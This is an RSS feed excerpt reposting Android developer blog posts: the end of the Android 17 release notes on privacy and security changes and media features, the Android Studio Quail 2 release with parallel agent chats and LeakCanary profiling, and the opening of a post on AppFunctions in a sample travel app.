<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent]]></title>
<description><![CDATA[Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are perf...]]></description>
<link>https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:29 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwUFdkGaqVNsaJ2iCtprD4WZuFjvI1rR6WX35ewxin0wbtVadUtkRb3qYG-KGEKepmtC4WFv2mSAmUBRmZ-oR5ey_-codg1_MhbagflhqgWk2MdNX6-yL8SaADve6mn3v0aJ_uh-qLizIgdImHaQ_KdJfVYqvCga_v_fyJYPHKDyhuhVklAfo145xays/s2461/QuailBlog_Meta.png"><p>Posted by Amman Asfaw, Product Manager, Android Studio</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s2152/QuailMovement_V1_a.gif"><img border="0" data-original-height="608" data-original-width="2152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s1600/QuailMovement_V1_a.gif"></a></div><br><p></p><p><br></p><p><br></p><p><br></p>

<p>Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.</p>
<p>Here’s a deep dive into what’s new:</p>
<h2>Multi-tasking with parallel chats</h2>

<p>In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.</p>In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.<br><br> You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at <a href="http://d.android.com/bench">Android Bench</a> for an analysis of how LLMs perform Android development tasks. 

<p></p><ul><li><strong>How to use:</strong> Click the "+" icon to start a new parallel conversation, and use the <b>History</b> icon to navigate between active tasks. Alternatively, select File &gt; New &gt; New Agent Tab to open a conversation in a dedicated tab.</li><li><strong>Note:</strong> Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.</li></ul><p></p>

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<p><i>Run multiple agent tasks in parallel with different models of your choice.</i></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s3456/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"><img border="0" data-original-height="2044" data-original-width="3456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s1600/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"></a></div><span><div><i>Use the History icon to navigate between active tasks.</i></div></span><p></p>

<h2>Memory leak detection with LeakCanary</h2>

<p>Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or <code>OutOfMemoryError</code>.</p>

<p>Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector <a href="https://square.github.io/leakcanary/">LeakCanary</a> is natively integrated directly into the Profiler as a dedicated, first-class task.</p>

<p>This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.</p>

<p>Once a leak is detected during a profiling session:</p>
<ul>
  <li>The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.</li>
  <li>You can click <b>Go to declaration</b> on any leaking object in the trace to instantly jump to that exact line of code in your editor.</li>
  <li>You can click <b>Fix with Agent</b> to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1250/Leak_Canary_4e3675ccb2_ZXI2sE.webp"><img border="0" data-original-height="640" data-original-width="1250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1600/Leak_Canary_4e3675ccb2_ZXI2sE.webp"></a><span><i>Review memory leaks identified via LeakCanary through the Fix with Agent button.</i></span></div>

<h2>App Quality Insights agent integration</h2>

<p>Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.</p>

<p>When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click <b>See more</b>. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.</p>

<p>With the new agent integration, you move directly from issue identification to resolution. By clicking <b>Fix with AI</b>, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix</p>

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</div><p><i>The <b>Fix with AI</b> button triggering the agent to analyze the issue, then propose the fix</i></p>

<h2>Quality &amp; stability improvements</h2>

<p>Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.</p>

<h2>Get Started</h2>

<p>Ready to dive in and accelerate your development? <a href="https://developer.android.com/studio">Download</a> Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. <a href="https://developer.android.com/studio/known-issues">Check known issues</a>, <a href="https://developer.android.com/studio/report-bugs">report bugs</a>, and be part of our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a>. </p>]]></content:encoded>
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<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

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<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

